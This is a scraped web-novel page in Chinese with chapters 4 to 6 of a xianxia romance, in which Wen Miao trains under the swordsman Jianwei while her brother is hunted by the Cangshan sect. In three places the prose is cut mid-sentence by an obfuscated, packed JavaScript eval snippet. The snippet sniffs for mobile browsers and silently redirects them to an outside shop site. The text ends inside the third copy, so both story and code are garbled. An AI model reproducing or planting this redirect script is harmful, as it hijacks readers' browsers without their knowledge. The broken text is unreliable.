她还记得,那个时候,西陵砚只是抬起了手,看着也是轻飘飘的,比踩死一只蚂蚁还简单。 才到西陵府的时候,府中有孩童欺负她,加上她母亲只是个厨娘,便将她调去侍奉长公子。 长公子是她见过最漂亮的人。 即便他面色苍白如纸,病到连走路都需要人搀扶,病恹恹毫无生气,也不影响温渺认为他是个又好看又心善的人。 因为西陵砚从不欺负她,他会给她留点心,会让人给她送衣裳,带着她一起读书写字,每年给她庆祝生辰。 就连后来她摔断了腿,成了跛脚,他也从来没有在意过,更不曾拿这点奚落过她。 春夏秋冬,光阴十载,他们都一同度过。 温渺会喜欢上西陵砚,是一件顺理成章的事。 现在呢,她觉得自己真是太傻了。 西陵砚一直都在怨恨,他怨恨西陵府所有人,当然也包括她。 但那时,西陵砚咳得眼尾泛红,温渺给他顺气后,他的手臂紧紧环抱住她,脸埋在她颈间,用喑哑的嗓音小声说话。 他说:“我只有你了,你要一直陪着我。” 她真是个傻子。 4.第 4 章 青莲谷的外人很少,荐微极少外出,通常都是有人找上门,温渺才能见上他一面。 自仙门治理天下,修士与凡人之间便不再壁垒分明,虽为仙门,却也要统治一方,自然少不了凡人的助力。 除了自有仙根,拜入昆仑修炼的修士外,也有许多才能出众的凡人在昆仑任事,同样如修士一般,被授予不同的仙箓,成为昆仑中人。 不过更多的,是像温渺如今一般,在昆仑做些琐事杂务的外门。 昆仑作为当世最大的仙门之一,外门弟子多到数不清,多出一个温渺,谁也不会探究。 她就这么成了唯二进出青莲谷的外门弟子。 另一位是个约莫四十岁的妇人,温渺偶尔见到她从谷外带些衣物和饮食进来,或是在谷中做些洒扫的活计,做完以后便离去,并不算常来。 有时候她没来,温渺就忍不住想,荐微这么久不吃饭,都不觉得饿吗? 她也是在温朗到昆仑以后才知道,修士也不是仙人,也是吃饭喝水睡觉的。但青莲谷又没有厨子,来送饭的大娘又几日来一趟,荐微看着也不像会自己生活做饭的人,平时就这么饿着肚子吗? 温渺每日都闲来无事,每天都在青莲谷的长廊上等着,有荐微的弟子经过,就去问他们关于温朗的消息,始终是一无所获。 温朗杀了苍山少主,苍山掌门是个将“法不容情”做到极致,睚眦必报的一个人,几天查不出温朗的下落,便以苍山的名义发起了天诛令。 天诛令这种东西,对于凡人而言同样如雷贯耳。 在西陵府的时候,温渺时常听人提起,街口告示台的天诛榜上又添了一个人。 大家你一言我一语地讨论,说起那个新添上去的人,犯了什么罪无可赦的重罪,让整个苍山的仙门都在要追杀。 被下天诛令的人,常常都是杀人如麻的邪魔外道,专由仙门负责缉拿。 一旦上了天诛令,便只有死路一条,任何人都能先杀再报,相助之人视为同罪,无论身份,可一并杀之。对天诛榜上的恶人见而不报,也要论罪。 通常是由底下的修士报上门派,再由辖地内的门派查证后报上所属的五大仙门,最后等顶头的仙门商议通过,才会正式盖章发出天诛令。 苍山发起的天诛令,昆仑可以不必配合,但若要插手,便视同相助,是在与苍山为敌。 温渺跑出青莲谷,去找最近的告示台。 那里已经围了不少人,能从众人的讨论中听出“苍山”,“温朗”、“必死无疑”、这样的字眼。 温渺心口一窒,只敢踮起脚朝榜上扫了一眼。 温朗列在榜尾,温渺看不太清楚,匆匆一眼,只看到他的名字后面跟了一黑一银两个标志。 传闻,苍山脚下的湖泽中曾有一只黑龙,后来这只龙登列仙班,飞升离去。 苍山立派后以黑龙为徽,提起黑龙,人们想起的都是苍山气势逼人的黑龙旗。 而另一个,即便没看清,温渺也知道,黑龙旁的标志是一朵银花。 琅玕神树所开之花,又名琅华,琅华门便是因此得名。 温渺以前在平邪城里见过天诛榜,她认得这两个印记,那时候,苍山琅华的标志也常常是一同出现。 苍山只要对什么人发起了天诛令,琅华就会紧随其后。 她小声问身旁一个修士:“天诛令发出还能收回吗?” 修士随口道:“人死了不就收回了。” 温渺脸色立刻难看了,又问:“非死不可吗?要是有冤情,总不能错杀无辜。” 那人回过头,挑眉看她,说:“新来的,这就不懂了吧,若换了别的仙门,事有变数,还有可能收回。这苍山掌门可是人称第五邪的柳无负,他颁下的天诛令,必然要将人追杀到天涯海角,除了死别无选择,清白哪有苍山的威严重要。” 听到温渺问这种话,她就猜到这是因那个榜尾的剑修,摊开手,说:“更何况,死的还是他柳无负的独子,他定然是恨不得将那温朗碎尸万段。” 温渺听得有些心慌,一时间也没应声,缓了缓才道谢。临了要转身了,又回头看了眼天诛榜,排在首位的也不知道是什么人,名字后面赫然跟着五大家的章印。 温渺在平邪城那么多年,偶尔也会去告示榜看一眼,最多也只见过盖上三个仙门章印的,这连盖五个是犯了什么天条? 直到攒动的人头开始移动,渐渐露出榜首的名字,温渺终于看清。 西陵砚。 又是西陵砚。 —— 温渺回到清莲殿,院子里的雪堆得很厚,一直没有人清扫,白茫茫一片看久了眼睛发酸。 以前在西陵府,雪停了都是要即刻扫雪的,不然雪化了满地都是水,鞋靴会被弄脏,还容易滑倒。 别处的雪早早扫干净了,净心居的雪却还厚厚地堆着,没有人打理。 反正西陵砚缠绵病榻,根本走不了几步路,家仆们都认为这种事能省就省了。 但温渺却只觉得,就算是当家仆,也不该厚此薄彼,何况西陵府从不苛待下人,阿娘最不喜欢她跟哥哥做事的时候偷懒。 于是她去了净心居,便开始早起扫雪,阿娘经常早早做完活计来帮她。 后来她摔伤了腿,冷的时候伤处刺骨得疼,动作慢上了很多,西陵砚不再让她扫雪,每逢下雪的时候,就让她在屋子里一起围着炉火取暖。 他看着白茫茫的庭院,平静地说:“不用扫,再多的雪,冬日一过就没了,拢共看不上几回。” 温渺想起这些过往,扫雪的动作又加快了几分,唰唰的声音不断在殿外回响。 直到背后一道声音响起。 “谁让你做这些的?” 温渺回头看去,发现荐微不知什么时候站在了那处。 “是我自己要做的,一直白住在这儿,我就想能做点什么……”何况得不到温朗的消息,她心理实在不安得难受,只有忙起来才能缓解这些焦灼不安。 “这些杂事,孙娘子会来做。” “可孙娘子没来的时候怎么办?” 荐微料想,是温渺在西陵府的习惯还没有改过来。毕竟那些世家大族,院子里总是要扫得一片落叶都看不见。 “那便不做,这里不是西陵府,没有人会在意这些。” 温渺忍不住问:“仙长会做饭吗?” 荐微站在那,一身白似霜雪的衣袍,像雪化作的仙人。 他理所应当道:“不会。” “那孙娘子不来的时候,仙长不吃饭吗?” “孙娘子送来的东西很多。” “那也不够吃啊,仙长不饿吗?”温渺震惊到声音都拔高了。 荐微缓缓点头,道:“不要紧。” 看得出温渺有许多疑问,虽然都是些无聊的小问题,荐微还是解释道:“修士不比凡人,吸纳天地灵气,化为己用,不用吃饭的时候也不会饿,但不值得。” 温渺问:“是不是想要不饿,要耗费很多灵气?” “寻常修士,调息三日才吸纳到的灵气,也不过是一顿食粮便能补足。逆天而为,定然比不过顺应自然。” 寻常修士,荐微自然不是寻常的修士了。 她又问:“那仙长呢,是不是吸纳灵气更快?” “是。” 但吃顿饭就好的事,耗费灵力岂不是可惜。 温渺叹气道:“早知道,我做饭的时候就给仙长送来了。” 她也没想到,温朗都来昆仑当修士了,居然还在屋后开了两块菜地。 院子里有个厨房,里面还有两袋子粮食,台上落了不少灰,但锅碗灶台和剩一半的油盐,一看就知道温朗没少下厨。 谷外有个弟昆仑弟子专用的饭堂,但走过去又太远,温渺怕自己面生,有人问起来历她又不太会说谎,索性一直是自己做饭。 她说:“那以后我给仙长做饭吧。” 发现荐微没有拒绝,她笑起来,说:“我阿娘可厉害了,她是府里最好的厨娘,我连她一半的功夫都没有,但做出来的菜也不差。” 荐微回应道:“温朗也说过这样的话。” 温渺似乎能想到,温朗肯定还说,等以后要请阿娘来昆仑,让荐微尝一尝她的手艺,绝对是最好的。 “仙长经常不吃饭,用灵力相抵吗?” “不常如此。”荐微想着她会追问,索性主动解释道:“孙娘子近日家中多事,弟子们也都不在。” 荐微一共五个弟子,一个在昆仑辖地内当职,一个出师后后自立门派,当了个小掌门,剩下温朗和另外两个留在本门任事。 荐微不喜与人往来,虽然不让人贴身侍奉,但平时也是什么都不缺,都会有外门弟子送来。 孙娘子忙碌,本应该将这差事暂托旁人,但荐微说:“湖中有灵兽,不熟悉生人气味,容易误伤。” 温渺一次也没遇上,立刻道:“灵兽,我怎么没见过?” “天冷,常在湖底休困,你非生人,不会惊动它。” 荐微又说:“你想见,我可以让它出来。” 温渺却连忙摇头,说:“不用了,它肯定也不喜欢被人打搅睡觉,日后天暖了总能见到的。” 往日里除了孙娘子,几个弟子们也是什么东西都往清莲殿送,荐微很少有短缺的东西。 但温朗性命攸关,尽管此事他与崔昭都吩咐过,不许昆仑弟子插手,两人还是以外务为由出山,连着这么久不见踪迹,是去做什么了不言而喻。 她说完,一阵寒风吹过,冷得她缩了缩脖子。 荐微道:“跟我来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260753|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温渺跟着荐微走到殿内,里面墙上嵌着木架,堆放了许多她认不得的玩意儿,有些散发着莹莹的光辉,看似是什么法宝。 再往里走,是排列整齐的书架,部分是书册,还有很多竹简有卷轴,一眼望去密密麻麻。 温渺惊叹道:“这么多书,能看完吗?” “有数百年的寿数,看完不难。” 荐微说着,边走便从书架上抽出几本,递到温渺手上。 “你已经有不小的修为傍身,只是不会使用。这些书看完,对你或许有收获。以温朗的能为,做你的师尊绰绰有余。” 温渺将书抱紧,感激道:“多谢仙长。” 他又说:“你的根骨很好,比起温朗丝毫不差。” 温渺等了一会儿,却发现荐微没有后话,于是仰起头望着他。 荐微道:“怎么了?” “那些说我天资好的修士,都问我为什么不随我哥一同去昆仑,仙长却没有问。” 那些人都说,她的根骨即便在五大仙门也是佼佼者,能够随意挑选宗门,拜一个好师尊。 但她不想去,那些人得到她的答复,都叹着气一脸恨铁不成钢的神情摇头。 “你有自己的考量,即便你身在昆仑,不想当修士,不想看这些书,也没人能逼你。” 温渺说:“长生不老,呼风唤雨,这些都很了不起,可是……” 荐微低头看她。 她说:“能按自己的心意度过一生,就算短暂,也很厉害了。” 拜入仙门修行,学成后被授予仙箓才能下山,可即便领了仙箓,要团圆也不再是那么轻易的事了。 她那个时候只觉得,平邪城很安定,在西陵府的日子也很悠闲,阿娘做菜好吃,喜欢的人每天都能见到,她要留在那里,陪在自己最珍贵的人身边。 “而且我的心愿只有一个比较难,其他的其实都很简单,我以为一定能实现呢。” 温渺的语气轻飘飘的,却有点强颜欢笑的意味。 “难的心愿,是什么?”荐微问。 温渺苦笑,一点不加掩饰,坦白道:“希望西陵砚身体康健,长命百岁。” 所以只有最难的实现了,代价是其他的愿望通通化为泡影。 即便荐微活得够久,见多识广,也不禁觉得有些荒诞。 他问:“后悔吗?” 温渺不好意思地摸了摸耳朵,说:“说一点后悔也没有,肯定是嘴硬。但盼着人好的心意不是错的,只是那个人错了……算是给我长了教训。” 毕竟她原本想着,对人好是她一厢情愿,就算别人觉得浪费也没关系,她只管做自己认为对的事,不必听人评说。 谁曾想,到了最后,心意被浪费,原来是最不值一提的小事。 “你能想通这点,已是难得。” 荐微将最后一本书递给她,同时转过身,面色变得有些凝重。 温渺问:“仙长怎么了?” “有人来访,走吧。” 走到正殿的时候,温渺看见崔昭站在墙边,正在把玩从木架上取下的银镜。 听到脚步声,他回过头,说:“这护心镜是个宝贝,留给你也是落灰,不如我拿去送给缘儿。” “只送崔缘,崔宁会说你偏心。” 崔昭笑道:“怎么会,我可是一视同仁的好爹爹,从来不偏心,当然也给宁儿留了好东西。” 他说着,已经将银镜揣了起来。 “我来这里是有正事,你的小徒弟受了重伤,人已经送到药宗了。” 温渺表现得比荐微还要着急,立刻道:“绮云姐姐怎么样了?” 崔昭道:“断了几根骨头都能接上,只是修为折损,恐怕要修养许久了。” 荐微:“谁干的?” 说到此事,崔昭长叹口气。 “苍山派,柳无负的大弟子。据说是绮云为温朗说话,两方争执不下,苍山的人便将她打为温朗同伙,要不是附近的仙门得到传讯赶来,只怕筋脉都要被废。” “逼人太甚。” “可不是,柳无负那黑心烂肺的老头子,分明是借他儿子的事发难,想让昆仑在仙盟上站队苍山。”崔昭说着还忍不住翻了个白眼。 “西陵砚近日没有动静。” 提及西陵砚,崔昭总是挂着点笑的脸上多了一抹厌恶。 “这个疯子,还不如有动静,哪次不是憋着不声不响,猛然出来搅得天翻地覆……” 温渺听不懂这些明争暗斗的东西,她只关心孟绮云的伤势和温朗的平安,听到西陵砚的名字,心头压得巨石似乎更沉重了,闷得她喘不过气。 崔昭见她在一边茫然无措,拍了拍她的肩,安慰道:“别怕,我还有个消息带给你。” “你哥哥有线索了。” 5.第 5 章 温朗正被追杀,有关他的蛛丝马迹,昆仑的人也不敢光明正大查下去,崔昭知晓温渺最担心,得了点风声立刻来告知。 他说:“底下的仙门正在追查不信教,据抓到的教徒说,温朗在他们教主手上。” “不信教?”温渺耳熟,却不知是个什么样的存在。 崔昭继续道:“他们的教主是个修邪术的妖人,江湖人称邪影菩萨,抓走温朗,似乎是想和西陵砚做什么交易?” 温渺听得心头一紧,却见荐微面无表情道:“昆仑不能插手。” 这一届仙首出自琅华,众人皆知,琅华唯苍山马首是瞻,仙首早不再是天下的仙首,而是苍山的仙首。 一旦昆仑插手,苍山就有机会告上仙盟,到那时柳无负名正言顺讨伐昆仑,谁又敢说他的不是。 温渺听出了崔昭的为难,她也知道荐微不是冷漠的人,仙长们要以大局为重,不能为了温朗让昆仑陷入水火。 于是这一回,她没有问“怎么办”。 崔昭没有否认荐微的话,但还是尽力安抚她,说:“我有不少未授仙箓的友人,他们已经在想法子了……” “多谢掌门。” 温渺点头道谢,将怀里的书册抱得更紧了些。 —— 自从得到温朗的消息后,温渺每天起得更早了。 她要去告示台看天诛榜上的名单,听当日最新的消息。 只要温朗的名字还在上面,至少说明他还活着,没有被苍山的人杀死,也没有落到西陵砚手上。 西陵砚…… 她去告示台,难以避免要看见这个名字。 温渺每次看,都觉得那一笔一划,仿佛变成了锋利无匹的剑刃,在无声中刺痛她的双目。 而后她回到青莲谷,收拾好心情专注看书,照着书上教授的心法修炼。 荐微是当世最有名的剑修之一,他的藏书除了内修心法,便是与剑道有关最多。 温渺会照着书上的意思,学着控制灵气的引渡。 聚气到掌,亦或是凝气护体,她不知道自己领悟得如何。或许是温朗给她渡过修为的原因,书上所教,她能照做个七七八八,不会有什么凝滞不前,毫无头绪的时候。 若有不懂的时候,每日晌午她找荐微用饭,都能找他请教。 为做报答,除了饭菜以外,温渺每次都会做点糕点送去。 荐微有个先吃糕点后吃饭的坏习惯,显然比起寻常饭菜,他对各种点心要更受用。 温渺学了几日,自认有所领悟,才将几日所学告知荐微。 他听后,手上的动作顿住,而后将糕点放回了碟子,盯着她的脸,问:“气走全身,聚气攻守,你……已领悟了?” 温渺被他这么一问,反而有些没底气了。“其实……我也不知道怎么算是领悟,但感觉和书上说得差不多……” 荐微坐着不动,说:“现在,尽你所能,以最大的力量攻向我。” “啊?”温渺犹豫道。“不会打伤吧?” 荐微瞥了她一眼,淡淡道:“不会。” 温渺说完就后悔了,这是什么话? 荐微那可是昆仑副掌,曾经一剑名震四海的剑道魁首,怎么可能被她一个无名小卒伤到,这话也太看轻人家了。 温渺讪讪地站起身。 说归说,温渺起身后立刻运使力量,仍是出拳之前唤了一声。 “仙长。” 她依照荐微所说,将自己周身灵气汇聚一处,猛然攻击向他。 而荐微端坐不动,那一拳便像是打在了无形的气罩下,与他相隔一寸的距离,却是无论如何都无法触碰到他。 荐微扫了眼因温渺的攻击而晃动的桌案,茶水倾洒了不少,糕点的碟子被他不动声色压住,倒是相安无事。 温渺收回手,有些忐忑地观察荐微的脸色,等着他开口评价。 荐微道:“倒是出乎我意料了。” 就完了? 温渺等了一会儿,发现他确实说完了。 她也不知道自己是太好了还是太差了,索性也坐下,将荐微手上的绢帕拿过来,自顾自地擦拭起桌上的水痕。 她问:“那是好还是差?” 荐微的答复,仿佛故意在与她打哑谜。“那要看你日后了。” 温渺听到这句,渐渐有点明白。 要是夸人,荐微直接说就好了,这样委婉,想必是她还有很多不足之处。荐微不想打击她,才说的这样迂回。 温渺得到这样的评价,虽然是有点心急,但也没气馁。 她才开始修炼没几日,没有师尊只能自己摸索,比旁人肯定是差远了。 既然如此,她更要抓紧才是。 没过多久,温渺听说在药宗疗伤的孟绮云醒了,她背着剑提着食盒,走了快两个时辰,总算见到了药宗的大门。 她一进去,就能闻到些古怪的气味儿。 有时像是草药,有时又像金石。 温渺来的路上找人打听过,据说药宗的修炼方式最是不同,他们不靠打坐不靠练功,全靠到处采集灵石仙草,炼化为仙丹后服用,以此提升修为,延年益寿。 但这些仙丹也都不是轻易能吃的,吃死人的事儿常有,药宗的人不管炼丹的技艺是否炉火纯青,疗伤解毒绝对是个个精湛。 越往里面走,气味儿就越浓。 路上往来的修士,有些扛着干柴,有着背了一箩筐花花草草。 温渺拉了个人,问到孟绮云在何处,便小跑着赶过去了。 谁知跑到那个大院里,却发现庭院边上坐了一排排的人,每个人身上都带着伤。 温渺扫了一圈,发现拄着拐杖的孟绮云也在其中。 孟绮云显然也看见了她,下意识就要抬起胳膊朝她挥手,牵扯到伤处立刻疼得龇牙咧嘴。 温渺走到她身边,跟她一起坐在了廊下。 “绮云姐姐,你们不都有伤在身吗?为什么不好好静养,都待在院子里?” “出来晒太阳,里面太吵了。” 温渺走进来的时候,便隐约听到一些杂音,有点像是在锯木头。 “是在修葺房屋吗?” “不是,是掌门在弹琴。” 温渺沉默了好一会儿,才试探地开口,道:“是昆仑的崔掌门吗?” 孟绮云幽怨道:“还能有谁。” 她才说完,又听嘎吱一声响,悠长的尾音的垂死挣扎地颤了一会儿,终于缓缓消失,紧接着又是枯枝崩裂般的弦音在起伏…… 温渺一时间难以评价,只能说,人果然没有完美无缺的。 孟绮云道:“不信教作祟,去追拿的修士被打伤不少,掌门说是来看望,见大家躺在榻上无趣,弹几首曲子安抚人心。” 原本众人只是伤疼,现在心浮气躁耳朵也疼。 温渺感叹道:“还好绮云姐还有一只腿没事。” 拄着拐杖跳也能跳到庭院里来,那些不能动弹躺在榻上的就要惨一些了。 温渺问:“没人和掌门提起过吗?” 孟绮云道:“掌门也有伤心事,你还记得我说,去西陵府镇压阴炁的修士,只活下来了四个,掌门便是其中之一,其实……掌门的同胞妹妹也在,但她为了保护掌门遇害了,听说她的琴技是昆仑第一。掌门不通音律,但……” 说到此处,孟绮云忽然停下,脸色严肃地看向院门的位置。 其他人也纷纷朝来人看去。 一队身着银白衣物的修士走进,为首之人是个器宇轩昂,戴着银冠的青年,衣着显然比身后的人要华贵些。 他们身上垂坠的腰带随着走动而摇摆,腰带上用银线绣制的琅玕神花若隐若现,在日光下泛着华美的光辉。 为首的青年在庭院中扫视一圈,目光落到孟绮云的时候,快步朝她走近。 “道友!伤可好些了?” 他关切地望着孟绮云,脸色还带点羞愧。 孟绮云冷哼一声,道:“那个苍山的疯狗和我争斗之时,你们琅华的人在一边可没少给他叫好。” 他忙说:“当时 ……当时是我不在,若我在,肯定不能由他们如此败坏仙门正气。” 琅华是出了名的混乱,掌门御下不严,辖地内五步一偷七步一抢,五大仙门最没有资格提正气。 此话一出,旁边有个伤患听到了,忍不住狂笑出声,牵动伤口顿时又疼得哀嚎,被路过的药宗弟子训斥道:“叫什么叫,本来就耳朵疼……” 孟绮云扭头看向温渺,说:“这是你……你的前辈,温朗的结拜兄弟,他是琅华的少主,你称他为曦衡君便是。” 曦衡君冲温渺温文一笑。“道友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281389|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很是面生,从前不曾见过。” “这是昆仑,又不是你们琅华,你没见过的人多了去了。” 琅华帮着苍山挤兑昆仑,还四处追杀温朗,孟绮云看到琅华的人就来气,说话免不了夹枪带棒的。 曦衡君也不恼火,仍是礼貌地笑着,问:“道友怎么称呼?” “我叫小枣。” 温渺喜欢吃枣糕。 阿娘说,待她过世了,坟头要种枣树,这样温渺去看她,见到满树的果子,就没那么伤心了。 “小枣。”曦衡君轻声道。“真是个好名字。” 孟绮云不耐道:“少废话了,我师兄生死未卜,你来做什么?” 曦衡君伏低身子,压着声音说:“不信教在琅华和昆仑境内作祟,我受父亲的命令追查此事,路过昆仑,来拜见一下几位前辈。” “掌门在里面弹琴,我师尊还在青莲谷。” “弹琴?”曦衡君默然听了一会儿,说:“那我便不打扰掌门雅兴了。” 温渺不禁问他:“前辈要去追查不信教?” “正是,我此番来,是为了请昆仑增派人手,琅华之人在昆仑行走,到底是有些不便。本来是想……”他说着,看了眼拄着拐杖,吊着胳膊的孟绮云。“我还是另寻旁人好了……” 温渺焦急地站起来,孟绮云睨了她一眼,提醒道:“小枣,你坐好。” 等曦衡君告退,要去拜访药宗宗主后,孟绮云附到温渺耳边,说:“曦衡君是师兄的挚友,琅华整个门派的良心共一石,他独占八斗,昆仑外,你只能信他一个。” 温渺看着他离开的方向,犹豫道:“曦衡君要走了,他是去查不信教,我哥……” “不急,他少说要在昆仑待上五日,不信教肆虐并非一朝一夕了,你看他像是性急的人吗?” 孟绮云猜到了温渺的心思,问她:“这段时日,师尊可有教过你修炼之法?” 温渺将她学完的第一本心诀告知孟绮云后,她点点头,说:“等你依照书上所写将灵力能运使自如,也算是很不错了。有些修士,终其一生也不能完全领悟。” 温渺惊讶地“啊”了一声。 孟绮云说:“据说大师兄将整本书的内容领悟,只用了半月,就已经是百年一见的奇才了。我却用了足足半年……” 温渺本来想说她前几日已经学完了,边看边学只用了五日,她觉得还挺简单的。 但听孟绮云的话,又不好意思说出口了。 毕竟荐微仙长的评价模棱两可,她也不知道自己学得究竟对不对,或许是自以为学会了,其实只是些皮毛,实际上还差着远呢? 何况天资不同,说着总觉得像是炫耀,有些讨打。 孟绮云见她不说话,还以为是焦虑学不会,安慰她:“你的天资比起大师兄应是不差,别担心……” “学完这本书,还有剑法心诀那本,你再学上半年,也能有所成……” 温渺又沉默了,她知道孟绮云说的书,她这几日已经学完大半了。 是她学得不对吗? 她应该最多只学到了三成,所以才学得这么快吧…… 不过,这样的话,暂时也够用了。 —— 如孟绮云所说,曦衡君在昆仑待了七日才走,走的时候崔昭给了一封手书,方便他有事可以差事辖地内的修士。 最后一日,他拜访了荐微,离开青莲谷的时候走得格外着急,全然不见来时的悠闲模样。 荐微回到殿内,桌案的玉瓶中插了满满当当的红梅。 花瓣上沾着细碎的霜雪,幽香阵阵,是殿内唯一一抹艳色。 与此同时,桌上摆着满满当当的食盒。 荐微掀开食盒,看到里面的糕点,已然知晓是怎么一回事了。 他就知道,她远没有看上去那么老实,要不然怎么会喜欢上西陵砚。 —— 曦衡君带着人紧赶慢赶,总算出了昆仑派的地界。 他走在后方,让其他人先走。 而后他慢下脚步,小声跟身侧的人说:“这个易容丹是有时效的,你可千万要记得,要是受了重伤也会现原形。不过小妹放心,你既是他的亲人,我拼死也会护住你……” 温渺将斗笠微微抬起,露出一张截然不同的脸。 “多谢。” 6.第 6 章 离开了昆仑派,一直往东南方走便属于琅华门管辖。 琅华的队伍里多了个人,曦衡君说这是崔昭的意思,让他在昆仑的外门中找个精明能干的,好方便他在昆仑的辖境内行走。曦衡君领了一个看修为不怎么样,离开昆仑派还要他们带路的新人。 同道之人即便颇有微词,但曦衡君是他们琅华的少主,做事素来不可靠,众人早就习惯了,也没多做纠结。 好在温渺虽然帮不上大忙 ,但她待人和善从不添麻烦,且昆仑派辖境的百姓们乡音与琅华那边大相径庭,有时候他们还要靠温渺与人交谈。 他们一路追查不信教的消息,一直查到了琅华和昆仑的交界地。 赶路中时不时要停下来休整,为了不消耗灵力,路上随时查探消息,时不时要去昆仑的驿站拿掌门手令借马。 温渺小时候骑驴更多,骑马倒是骑过,但也仅仅称得上骑过而已。 曦衡君对她照料周全,怕她不会,索性与她共乘。 在马上的时候,温渺打听柳无负。 他直言:“柳伯父不苟言笑,做事很是严厉,对亲人也不例外。私底下,人人都称他是第五邪,但他当任苍山掌门后,的确让苍山日益壮大到了足以抗衡游仙门的地步。” 温渺听得忍不住皱眉。 五大仙门无不是正道的中流砥柱,分明是要一同扶持,共治天下的正派,彼此间却要想法子“抗衡”。 “既然是第五邪,那应该还有第四第三,那是什么?”温渺又问。 “那是二十多年前,百姓们评了个当世四邪……” 说起这些,曦衡君滔滔不绝。 “四邪之末呢,是一个叫做锁骨娘子的人物,不过已经几十年未现身了。第三就是不信教的教主邪影菩萨,真名据传是叫娀影……” 听到这里,温渺忍不住打岔:“不信教,为什么叫这个名字,他们究竟是干什么的?” “不信鬼神不信天地不信亲朋好友,人生种种皆为虚幻,许多百姓入教后自尽身亡,传闻说他非男非女,面若观音,才有了这么个名号……” “至于四邪之二呢,它不是一个人,而是一个地方,叫做无尽火宅,传闻虽多,但无人亲眼见过,更像是谣传……” 说到四邪之一的时候,曦衡君犹豫了,他看了看温渺,而后简短道:“最后就是那个人了……” 温渺点点头。 想来也是。 杀害那么多无辜百姓和仙门精锐,只此一条便能让他坐稳这个名头,也不知这百年,还犯下多少罪孽。 她问:“那些妖人都有一个响亮的名号,那他呢?” 曦衡君小声道:“原本西陵砚的绰号可多了,但因为他罪孽极重,自然都不大好听。他将那些人的舌头割下来,逼人吞食下去,那些绰号渐渐也无人敢用了,不过你哥还是要用的……” 温渺心想果然,她哥肯定会专挑难听的喊,还要喊得大声响亮。 “说来,现在他最响亮的名号,是‘祸世之绯’。” 对于这个名号,温渺不明所以,也没有继续追问。 一行人根据附近正气司给的线索,调查到了百姓频繁失踪的村镇,索性分了两队去查。 温渺跟着曦衡君四处打听,收集了百姓们的消息,将消失的源头定在了郊外的河谷边上。 有同伴说:“河谷那处有不少耕地,失踪的百姓几乎都是去田地里干活的。” 温渺一颗心沉下来,总觉得难受极了。冬日里农作物不多,急着去田地的,多是家中存粮不够了。或许家中还有亲人等着吃饭,结果一去不归,也不知是否还有性命。 剩下的人,明知危险还要去,也并非不知死活,多得是人还要吃饭。 有一人提议:“那我们乔装成农户,把妖人引出来如何?” 曦衡君点头:“我也是这样想的,只是这个乔装的人选。” 同伴第一个否决曦衡君:“你连锄头都不会用,不行。” 这些修士大多早早拜入仙门,能出师对付四邪的,无不是修炼已久的精锐,即便有农户出身的,那点活计也都忘了个干净。 温渺指着自己的脸,一双又黑又亮的眼睛格外真诚。“我呢?我经常种花。” “不行!”曦衡君连忙否决。“你遇到危险怎么行?” 他身边的同伴立刻道:“当修士哪有没危险的,她还是个外门,要是能立大功直接授仙箓了。” 曦衡君解释不清,焦灼不已:“不行,她……她……” 她出事了,他怎么向温朗,向昆仑交代啊! 温渺知道曦衡君的担忧,安抚道:“我不会有事的,发现不对我转头就跑,来的只是普通教徒,又不是四邪,你们一定会护住我的。” 另一修士附和道:“就是,小小的教徒还不好对付?别怕,姐姐我护着你。” 说着便雷厉风行拉温渺去乔装打扮。 曦衡君苦着脸原地叹气。 —— 冬末的黑夜总是格外漫长,温渺往河谷赶的时候,天色暗沉沉的,勉强有些光亮能照见脚底的路。 越靠近河谷,越是雾气浓郁。 临行前,曦衡君从身上拿了好几件法宝塞给温渺,生怕她半途出了什么事。 温渺扛着锄头和背篓缓缓往前,泥土冻得有些冷硬,踩上去还有清脆的咔哧声。 她一向胆子大,更何况想得那么多厉害的修士在附近,即便四周静谧到呼吸可闻,她也不觉得害怕。 雾气越走越浓,几乎有些辨别不出前方的路了。 隔着几步的距离,连树影都模糊不清。 恍惚中,那些树影好像是好几个站立不动的人影,正目不转睛地观察她。 温渺终于有些紧张起来,她盯着前方,大步往前走,正想哼个曲子给自己壮胆,猛然惊觉了什么,脚步忽地停下。 她方才一直看着前方的树影走,但走了这么好几步,按理说已经很近了,但她一直都没有看到树的全貌。 那棵树在动? 不对,那是个人? 温渺停了一瞬,小声道:“有人吗?” 她试探地又往前走了几步,这次树影似乎没有再动,但随着她越往前,越能清晰地辨出,那分明是个人形。 温渺吓得屏住呼吸,脚步也缓缓慢了下来。 而她越走越近的同时,有些细弱蚊蝇的声音也逐渐在耳中清晰。 “无量……” 温渺想要听清,于是又往前走了几步。 “有生有灭,无知无觉。” “寻声救苦,度人无量……” 温渺听到的声音在耳中逐渐变成熟悉的嗓音,她睁大眼,往前跑了两步,大声喊道:“阿娘!” 她跑过去,终于看清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 